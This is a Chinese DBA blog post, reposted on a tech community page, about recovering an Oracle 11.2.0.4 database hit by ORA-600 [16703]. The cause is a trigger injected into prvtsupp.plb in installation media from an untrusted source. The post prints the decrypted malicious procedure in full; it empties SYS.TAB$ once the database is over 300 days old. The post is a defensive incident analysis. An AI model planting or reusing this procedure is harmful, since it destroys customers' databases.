案发现场:被注入的软件及 ORA-600 16703 灾难的恢复

最近帮助一个客户恢复数据库,遇到了如下这个问题。让我们再一次惊醒于数据安全,如果不做好防范,问题总是会来得猝不及防。

客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018 Copyright (c) 1982, 2013, Oracle. All rights reserved. Connected to an idle instance. SQL> startup mount; ORACLE instance started. Database mounted. SQL> alter database open; alter database open * ERROR at line 1: ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [] Process ID: 1236 Session ID: 1 Serial number: 5

按照我的思路,第一步是启用 10046 跟踪一下问题的出现位置:

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 ,

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1' create table bootstrap$ ( END OF STMT PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979 EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086 CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。

最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:

SQL> select object_name from dba_objects where object_id=20; OBJECT_NAME -------------------------------------------------------------- ICOL$

在 bootstrap$ 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

在进程的转储文件中,也可以看懂对于 TAB$ 的递归访问,绑定变量是 20 :

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现;20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], []

$ oerr ora 1403 01403, 00000, "no data found" // *Cause: No data was found from the objects. // *Action: There was no data from the objects which may be due to end of fetch.

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。

这就是此前曾经被披露的,数据库安装介质被注入的问题,惜分飞曾经记录过这个问题。

强烈警示在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

推荐阅读:防范攻击 加强管控 - 数据库安全的16条军规

在这个案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:

这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。

此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE; IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; END IF; END;

所以我们再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。

由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

那么怎么解决这个问题呢?

其实也很简单,当删除了 TAB$ 表中的内容后,数据库是启动引导遇到故障,所以我们只要找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是我的恢复过程截取的一部分BLOCK:

而且,注意,这一次的黑客是很有分寸的,在删除之前备份了 TAB$ 的内容,所以只要启动数据库,从备份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢复 TAB$ 的内容,数据库就可以完美的修复回来。

这和 2016 年,比特币勒索事件不同,那个案例的代码是 Truncate 了用户数据表,处理起来难度更大,参考:知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

以下是整个恢复过程前台的最后两个阶段,当使用 bbed 复制修复后,启动数据库时,收到提示,要将数据库以 upgrade 模式启动,这是某个标志的影响:

SQL> startup ORACLE instance started. Total System Global Area 531476480 bytes Fixed Size 1406404 bytes Variable Size 318769724 bytes Database Buffers 205520896 bytes Redo Buffers 5779456 bytes Database mounted. ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failure ORA-39700: database must be opened with UPGRADE option Process ID: 1648 Session ID: 1 Serial number: 5

以 upgrade 模式启动,数据库成功完美打开:

SQL> startup upgrade; ORACLE instance started. Total System Global Area 531476480 bytes Fixed Size 1406404 bytes Variable Size 318769724 bytes Database Buffers 205520896 bytes Redo Buffers 5779456 bytes Database mounted. Database opened. SQL> select * from dual; D - X

最后总结一下,这个案例给我们的警示:

  1. 遵守规则和规范很重要,保护知识产权,规范部署,天然可以防范很多问题;
  2. 深入学习、知识储备,是从容应对问题的根本之道,理解了原理,才能举重若轻,触类旁通;
  3. 只有按时备份还不够,定期验证检查非常重要
  4. 随时关注数据库中的特殊对象和变更,是非常重要的;

数据安全的关注,时刻不能停止!

原文发布于微信公众号 - 数据和云(OraNews)

原文发表时间:2018-07-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏c#开发者

数据中心使用dtu远程连接oracel 9i数据库问题

数据中心使用dtu远程连接oracel 9i数据库问题 发表人:lurrance | 发表时间: 2005年二月20日, 12:13 经过从网上找来的资料以及看...

37011
来自专栏数据和云

数据恢复:隐含参数_minimum_giga_scn被废弃后如何调SCN

崔华,网名 dbsnake Oracle ACE Director,ACOUG 核心专家 在很多数据恢复的场景中,我们可能需要调节SCN,但是一个重要的隐含参数...

29210
来自专栏更流畅、简洁的软件开发方式

检查两个数据库里的表名、字段是否一致的一种方法

不知道大家有没有遇到过这种情况。 程序已经给客户安装上了,并且客户已经录入了一些信息,然后程序还需要作比较大的变动(修改功能、增加模块等),数据库就不可避免要...

2518
来自专栏乐沙弥的世界

RAC 环境下修改归档模式

    RAC环境下的归档模式切换与单实例稍有不同,主要是共享存储所产生的差异。在这种情况下,我们可以将RAC数据库切换到非集群状态下,仅仅在一个实例上来实施归...

942
来自专栏乐沙弥的世界

只读表空间的备份与恢复

--====================== --  只读表空间的备份与恢复 --====================== 一、只读表空间的特性...

852
来自专栏杨建荣的学习笔记

系统级alias vs Oracle ADR功能(r5笔记第35天)

Oracle在11g中推出的新特性ADR,即Automatic Diagnostic Repository 个人理解这个工具就是能够高效的把一些日志文件轻松管理...

3598
来自专栏乐沙弥的世界

MySQL read_log_event(): 'Found invalid event in binary log'

    MySQL以简单易用著称,在同一个服务器上可以安装N个不同的版本,方便测试,迁移等等。此外,对于大多数Linux系统,集成了mysql,缺省会被安装。因...

812
来自专栏乐沙弥的世界

关于undo表空间配置错误的ORA-30012

      undo表空间是Oracle体系结构的重要组成部分,为什么我们可以回滚,就是因为有它。数据库任意数据的修改都会在undo表空间里生成前镜像,一是可以...

601
来自专栏乐沙弥的世界

使用pt-table-checksum校验MySQL主从复制

pt-table-checksum是一个基于MySQL数据库主从架构在线数据一致性校验工具。其工作原理在主库上运行, 通过对同步的表在主从段执行checksum...

1792
来自专栏乐沙弥的世界

Oracle 基于用户管理恢复的处理

Oracle支持多种方式来管理数据文件的备份与恢复来保证数据库的可靠与完整。除了使用RMAN工具以及第三方备份与恢复工具之外,基于

532

扫码关注云+社区